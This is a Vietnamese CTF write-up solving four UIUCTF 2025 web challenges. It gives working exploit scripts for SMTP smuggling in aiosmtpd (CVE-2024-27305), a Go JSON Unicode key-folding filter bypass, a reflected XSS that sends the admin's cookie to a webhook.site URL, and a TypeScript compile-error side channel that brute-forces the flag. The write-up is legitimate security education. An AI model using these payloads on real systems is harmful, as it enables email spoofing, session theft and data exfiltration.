# UIUCTF 2025 ## Supermassive Black Hole ### CVE-2024-27305 Trong bài này, ta có thể thấy được sự sắp xếp có chủ ý của tác giả khi sử dụng aiostmpd version 1.4.4 làm server xử lí mail. Trong version này, đoạn code các biến có thể ghi thẳng vào raw message, vì vậy ta có thể thêm 1 số command và crlf vào raw message được gửi đi. ### HTTP Smuggling vs SMTP Smuggling Vậy vì sao lại có các loại bug "Smuggling" này? Vì các hệ thống không tuân theo các tiêu chuẩn được đề ra. Nếu các hệ thống khác nhau về cách nhận data, như hệ thống A nhận theo "\n", còn hệ thống B nhận theo "\r\n", điều này có thể gây ra lỗi. Trong HTTP Smuggling, đối với server, trong Content-length là bao nhiêu thì bấy nhiêu đó là body, còn những thứ xuất hiện phía sau nó sẽ là một gói tin mới. Nhưng nếu nó có Transfer-Encoding=chunked, các body có thể được gửi rời rạc như ví dụ dưới đây: ```request= POST / HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked b q=smuggling a isbasic!!! 0 ``` Ở đây b và a là size của data phía dưới nó theo cấu trúc, body trở thành q=smugglingisbasic!!! và khi gặp kí tự 0 thì gói tin kết thúc: ``` <size-hex> <data> ... 0 ``` Vậy nếu bây giờ có cả hai header thì sao? Khi cả 2 bên đều không đồng bộ, 1 bên tin vào header này, một bên thì tin vào header kia, dẫn tới việc request được xử lí như 2 gói tin. ### Aismtpd 1.4.4 Tương tự với SMTP Smuggling, trong cve này, theo tiêu chuẩn của [RFC](https://datatracker.ietf.org/doc/html/rfc5321#section-2.3.8) thì kết thúc dòng của stmp phải là **\r\n**. Tuy nhiên, trong aiostmpd 1.4.4, kết thúc dòng của nó có thể chỉ cần nhận **\n**. ![image](https://hackmd.io/_uploads/BkhGBaSDee.png) Chính vì vậy, khi bên gửi chỉ xem \n là xuống dòng, thì bên aiostmpd đã coi **\n** là kết thúc lệnh. Thế nên bên server sẽ tiếp tục xử lí phần request giả mạo đó luôn. Ví dụ: ``` From: real@mail.com\r\n To: victim@mail.com\r\n Subject: Thư gửi tới bạn\r\n X-Ticket-ID: 12341234-1234-1234-12341234\r\n \r\n Test\n (bên nhận tưởng kết thúc dòng) .\r\n (bên nhận tưởng kết thúc gói) MAIL FROM: fake@mail.com\n RCPT TO: victim@mail.com\n Data\n From: fake@mail.com\n To: victim@mail.com\n Subject: pwn\n X-Ticket-ID: 13371337-1337-1337-133713371337 \n pwn\r\n .\r\n (Bên gửi kết thúc gói) ``` > Lưu ý: aiostmpd 1.4.4 vẫn nhận kết thúc data là .\r\n ![image](https://hackmd.io/_uploads/HJVfSJUDgg.png) Từ đó, bên gửi hiểu đó là xuống dòng trong văn bản nên bỏ qua, còn bên nhận thì coi đó xuống dòng của 1 lệnh, thế là từ đó có CVE-2024-27305 :) Sau khi gửi rồi thì bên server sẽ xử lí hẳn 2 cái mail như này: 1. Bên Flask sau khi gửi: ![image](https://hackmd.io/_uploads/H1H5IkIDel.png) 2. IT bot handler sẽ tách làm 2 gói: ![image](https://hackmd.io/_uploads/BkSBDy8vgg.png) ### Script ```python= import requests import uuid # URL = "https://inst-0130a7b70a3d3fb2-supermassive-black-hole.chal.uiuc.tf/" HOST=53024 URL=f"http://localhost:{HOST}" # ticketID=13371337-1337-1337-133713371337 ticketID=str(uuid.uuid4()) payload = f""" tao la support\n\ .\r\n\ MAIL FROM: leadership@blackholeticketing.com\n\ RCPT TO: it@blackholeticketing.com\n\ DATA\n\ From: leadership@blackholeticketing.com\n\ To: it@blackholeticketing.com\n\ Subject: phake\n\ X-Ticket-ID: {ticketID}\n\ \n\ tao la admin """ data = { 'subject': 'riel', 'message': payload } requests.post(URL+"/submit_ticket",data=data) res = requests.get(URL+f"/check_response/{ticketID}") print(res.text) ``` >Flag: uiuctf{7h15_c0uld_h4v3_b33n_4_5l4ck_m355463_8091732490} ## Shipping bay Ở bài này, tác giả yêu cầu chúng ta phải làm sao khi gửi **supply_type** ở flask không được chứa cụm từ flag, mà bên Go khi nhận phải chứa **supply_type:flag** thì mới trả về flag. Vậy phải làm thế nào để Go deserialize ra **supply_type:flag**? Trước hết chúng ta sẽ nói về việc Go match key như nào? ### Case insensitive key matching > Đoạn này được tham khảo từ [bài nghiên cứu trên trailofbits](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/#case-insensitive-key-matching). Ở json parser của Go, ta có thể thấy rằng khi deserialize 1 object mà gặp 2 key trùng nhau, thì lúc nào Go cũng sẽ lấy key cuối cùng, thế nên khi gửi {"**supply_type**":"**something**","**supply_type**":"**flag**"} thì nó sẽ lấy phần flag. Thậm chí, nếu ở key **supply_type** khi gửi là "**Supply_Type**" thì nó vẫn được tính là "**supply_type**"(dĩ nhiên thì flask vẫn sẽ chặn được). Vậy nếu ta đổi phần **supply_type** ở đằng sau sao cho flask không chặn nữa thì sao, dĩ nhiên flask đã lower() tất cả key. ### Go standard library source code Trong Unmarshal ở file decode.go, ta có thể thấy dòng này: ```go= f := fields.byExactName[string(key)] if f == nil { f = fields.byFoldedName[string(foldName(key))] } ``` Ở đây khi f không tìm được đúng kí tự của nó, nó sẽ gọi hàm foldName, và ở trong hàm foldName trong file fold.go, nó sẽ cấp mảng 32 byte và gọi thằng appendFoldedName để làm việc. Trong appendFolededName, nó sẽ check xem chữ đó phải ascii không, nếu nó không phải ascii thì nó gọi foldRune để đơn giản hóa kí tự. Trong foldRune, nó gọi hàm [SimpleFold](https://pkg.go.dev/unicode@go1.23.9#SimpleFold) tới khi nào tối giản, nói nôm na là nó sẽ dịch mấy chữ ảo ảo về ascii. ![image](https://hackmd.io/_uploads/HJriReUDxl.png) Trong bài viết thì tác giả cũng đã giới thiệu chữ ſ sẽ dịch thành s, tuy nhiên nếu bạn muốn fuzz từng unicode thì cũng được thôi. ![image](https://hackmd.io/_uploads/Sk9jbWIwel.png) ### Script ```python= import requests from urllib.parse import unquote_plus HOST=53471 URL=f"http://localhost:{HOST}/create_shipment" URL="https://shipping-bay.chal.uiuc.tf/create_shipment" i=0 while True: data = { "supply_type": "haha", f"{chr(i)}upply_type":"flag" } print(f"Testing: {chr(i)} - Pos: {i}") r = requests.post(URL, data=data) if "uiuctf" in r.url: print(unquote_plus(r.url)) break; i+=1 # i=383 # data = { # "supply_type": "haha", # f"{chr(i)}upply_type":"flag" # } # print(unquote_plus(requests.post(URL, data=data).url)) ``` >Flag: uiuctf{maybe_we_should_check_schemas_8e229f} ## Ruler of the Universe ### Xss Có thể thấy trong bài này có một admin bot có cookie chứa flag, đây có lẽ là 1 nhận biết của bug xss trong ctf. Vậy các trường nào có thể input và reflect lên page? Khi chúng ta vào 1 module để kiểm tra, ta có thể thấy rằng khi nhập thì có 2 nơi có thể reflect lại những gì ta nhập. ![image](https://hackmd.io/_uploads/Hk2DYJIPex.png) ![image](https://hackmd.io/_uploads/SkVuF1Iwex.png) ở đoạn "[13:10] Crew message...", các nội dung sau khi nhập đã chuyển thành HTML Character Entities, vì vậy ta không thể xss ở đây. Tuy nhiên, ở ô input thì vẫn giữ lại nội dung gốc. Vì vậy đây có thể là nơi ta khai thác xss. Chỉ cần nhập thêm **"">** là đã có thể escape ra được rồi. ![image](https://hackmd.io/_uploads/B1Nt9JUvgl.png) ### Script ```python= import requests HOOK="https://webhook.site/02f788e5-88be-4154-9292-16f5da14e0ba" URL="https://inst-ea8f1ec581fecc12-adminbot-ruler-of-the-universe.chal.uiuc.tf/" HOST=3000 URL=f"http://localhost:{HOST}" payload={"url_part":"module/1?message=\"\"><script>fetch(f"{HOOK}?flag=".concat(document.cookie))</script>"} requests.post(URL,data=payload) ``` ![image](https://hackmd.io/_uploads/By2qoJUDeg.png) >Flag: uiuctf{maybe_i_should_just_use_react_c49b79} ## Upload, Upload and Away! ### package.json <details> <summary>package.json</summary> ```json= { "name": "tschal", "version": "1.0.0", "scripts": { "start": "concurrently \"tsc -w\" \"nodemon dist/index.js\"" }, "keywords": [ "i miss bun, if only there was an easier way to use typescript and nodejs :)" ], "author": "", "license": "ISC", "description": "", "devDependencies": { "@types/express": "^5.0.3", "@types/multer": "^2.0.0", "concurrently": "^9.2.0", "nodemon": "^3.1.10", "typescript": "^5.8.3" }, "dependencies": { "express": "^5.1.0", "multer": "^2.0.2" } } ``` </details> Dựa vào đoạn code, ta thấy rằng đoạn code cung cấp cho ta 3 chức năng, upload, xóa tất cả file và xem số lượng file. Dĩ nhiên, không có chức năng nào có thể giúp ta chạy các file code được upload lên. Tuy nhiên có một file ít ai để ý tới, đó là file package.json. Trong file này, ta thấy rằng project được chạy bằng lệnh tsc -w, với argument -w có khả năng nghe tất cả sự thay đổi về file trong project, biên dịch nó và sau đó sinh ra 1 file js mới, đồng thời nếu như ta up 1 file .ts hợp lệ, nodemon sẽ chạy lại và fileCount sẽ về 0. Dĩ nhiên chúng ta vẫn có thể tạo ra 1 file js và cho nó chức năng post flag lên webhook, tuy nhiên server sẽ chỉ chạy nodemon dist/index.js và kệ file vừa được sinh ra. <details> <summary>index.ts</summary> ```typescript= import express from "express"; import path from "path"; import multer from "multer"; import fs from "fs"; const app = express(); const PORT = process.env.PORT || 3000; let fileCount = 0; app.get("/", (req, res) => { res.sendFile(path.join(__dirname, "../public/index.html")); // paths are relative to dist/ }); const imagesDir = path.join(__dirname, "../images"); if (!fs.existsSync(imagesDir)) { fs.mkdirSync(imagesDir, { recursive: true }); } const storage = multer.diskStorage({ destination: function (req, file, cb) { cb(null, imagesDir); }, filename: function (req, file, cb) { cb(null, path.basename(file.originalname)); }, }); const upload = multer({ storage }); app.get("/filecount", (req, res) => { res.json({ file_count: fileCount }); }); app.post("/upload", upload.single("file"), (req, res) => { if (!req.file) { return res.status(400).send("No file uploaded."); } fileCount++; res.send("File uploaded successfully."); }); app.delete("/images", (req, res) => { const imagesDir = path.join(__dirname, "../images"); fs.readdir(imagesDir, (err, files) => { if (err) { return res.status(500).send("Failed to read images directory."); } let deletePromises = files.map((file) => fs.promises.unlink(path.join(imagesDir, file)) ); Promise.allSettled(deletePromises) .then(() => { fileCount = 0; res.send("All files deleted from images directory."); }) .catch(() => res.status(500).send("Failed to delete some files.")); }); }); app.listen(PORT, () => { return console.log(`Express is listening at http://localhost:${PORT}`); }); export const flag = "uiuctf{fake_flag_xxxxxxxxxxxxxxxx}"; ``` </details> Ngoài ra, trong file index.ts, mặc dù ta upload một file ts không hợp lệ, nó vẫn sẽ tăng fileCount. Tức là biến fileCount này không hề check số lượng file trong images mà chỉ tăng lên khi upload thành công. ![image](https://hackmd.io/_uploads/HyWyAM9Ple.png) ### Exploit Dựa vào khả năng của câu lệnh trong script start (package.json), ta sẽ cố gắng bruteforce flag. Nếu ta upload 1 file js và đoán đúng các ký tự, tsc sẽ sinh ra file trong images, biến fileCount sẽ về 0 vì server restart lại và chạy lại index.js. Nếu ta đoán sai thì tsc sẽ báo lỗi, tsc không sinh ra file fileCount sẽ tăng lên 1. ![image](https://hackmd.io/_uploads/ryA1kmqvll.png) ### Script ```python= import requests import string import time URL="http://localhost:3000" URL="https://inst-8e4d01dc280a8562-upload-upload-and-away.chal.uiuc.tf/" guess = "uiuctf{" while True: if "}" in guess: print("Flag:",guess) break print("Flag:",guess) for i in string.ascii_lowercase +"{}_" + string.digits: payload=f""" import {{flag}} from "../index" type valid = `{guess+i}${{string}}`; const smth: valid = flag; """ files = { 'file':('test.ts',payload,'text/plain') } print("Testing:",i) requests.post(URL+"/upload",files=files) time.sleep(0.5) res = requests.get(URL+"/filecount") # print(res.text) data = res.json() # print(type(data["file_count"])) if data["file_count"] == 0: guess+=i break; # HOOK="https://webhook.site/f305323e-07ad-44be-88a9-418b0de189d1" # payload=f""" # fetch("{HOOK}", {{ # method: "POST", # body: JSON.stringify({{ flag: require('../dist/index.js').flag }}) # }}); # """ # files={'file':('../dist/index.js',payload,'text/plain')} # requests.post(URL+"/upload",files=files) ``` >Flag: uiuctf{turing_complete_azolwkamgj}